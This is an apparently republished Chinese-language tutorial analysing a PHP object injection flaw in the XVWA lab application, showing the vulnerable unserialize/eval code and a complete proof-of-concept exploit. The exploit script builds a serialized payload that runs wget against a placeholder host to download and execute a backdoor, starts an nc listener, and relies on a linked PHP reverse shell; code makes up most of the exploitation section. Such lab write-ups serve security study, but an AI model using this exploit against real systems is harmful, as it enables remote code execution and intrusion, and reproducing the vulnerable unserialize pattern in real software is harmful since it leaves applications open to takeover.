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PHP序列化/对象注入漏洞分析,php序列化注入漏洞
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PHP序列化/对象注入漏洞分析,php序列化注入漏洞

Jun 13, 2016 am 08:41 AM
php Serialization loopholes

PHP序列化/对象注入漏洞分析,php序列化注入漏洞

本文是关于PHP序列化/对象注入漏洞分析的短篇,里面讲述了如何获取主机的远程shell。

如果你想自行测试这个漏洞,你可以通过 XVWA 和 Kevgir 进行操作。

漏洞利用的第一步,我们开始测试目标应用是否存在PHP序列化。为了辅助测试,我们使用了Burpsuite的SuperSerial插件,下载地址在 这里 。它会被动检测PHP和Java序列化的存在。

分析
我们检测到了应用里使用了PHP序列化,所以我们可以开始确认应用代码里是否含有远程代码执行漏洞。需要注意的是,序列化对象是从参数“r”取来的:

$var1=unserialize($_REQUEST['r']);
然后再进行反序列化和eval:

eval($this->inject);
接着,执行:

echo "
".$var1[0]." - ".$var1[1];
有了这些,如果我们绕过了参数r的PHP序列化对象,那么就可以获得代码执行漏洞了!

< &#63;php 
  error_reporting(E_ALL);
  class PHPObjectInjection{
    public $inject;
 
    function __construct(){
 
    }
 
    function __wakeup(){
      if(isset($this->inject)){
        eval($this->inject);
      }
    }
  }
//&#63;r=a:2:{i:0;s:4:"XVWA";i:1;s:33:"XtremeVulnerable Web Application";}
  if(isset($_REQUEST['r'])){ 
 
    $var1=unserialize($_REQUEST['r']);
    
 
    if(is_array($var1)){ 
      echo "
".$var1[0]." - ".$var1[1];
    }
  }else{
    echo "parameter is missing";
  }
&#63; >
Copy after login

漏洞利用
为了利用这个漏洞,我们创建了一个简单的PHP脚本来自动生成PHP序列化payload,以及在目标远程主机上运行我们想要的命令。然后,我创建了一个通用的PHP反弹shell,下载地址如下:

http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz
注意: 你需要把这个文件传到web服务器上,改动反弹shell脚本里面的本地ip和端口,以及下面的利用代码:

<&#63;php 
/*
PHP Object Injection PoC Exploit by 1N3@CrowdShield - https://crowdshield.com
A simple PoC to exploit PHP ObjectInjections flaws and gain remote shell access. 
Shouts to @jstnkndy @yappare for theassist!
NOTE: This requireshttp://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gzsetup on a remote host with a connect back IP configured
*/
print"==============================================================================\r\n";
print "PHP Object Injection PoCExploit by 1N3 @CrowdShield - https://crowdshield.com\r\n";
print"==============================================================================\r\n";
print "[+] Generating serializedpayload...[OK]\r\n";
print "[+] Launching reverselistener...[OK]\r\n";
system('gnome-terminal -x sh -c \'nc -lvvp1234\'');
class PHPObjectInjection
{
  //CHANGE URL/FILENAME TO MATCH YOUR SETUP
 public $inject = "system('wget http://yourhost/phpobjbackdoor.txt-O phpobjbackdoor.php && php phpobjbackdoor.php');";
}
 
$url ='http://targeturl/xvwa/vulnerabilities/php_object_injection/&#63;r='; // CHANGE TOTARGET URL/PARAMETER
$url = $url . urlencode(serialize(newPHPObjectInjection));
print "[+] Sendingexploit...[OK]\r\n";
print "[+] Dropping down tointeractive shell...[OK]\r\n";
print"==============================================================================\r\n";
$response =file_get_contents("$url");
 
&#63; >
Copy after login

Demo
现在咱们的利用脚本已经就绪,我们可以执行它来得到远程主机上的反弹shell,用来远程执行命令!

以上就是本文的全部内容,希望对大家学习php程序设计有所帮助。

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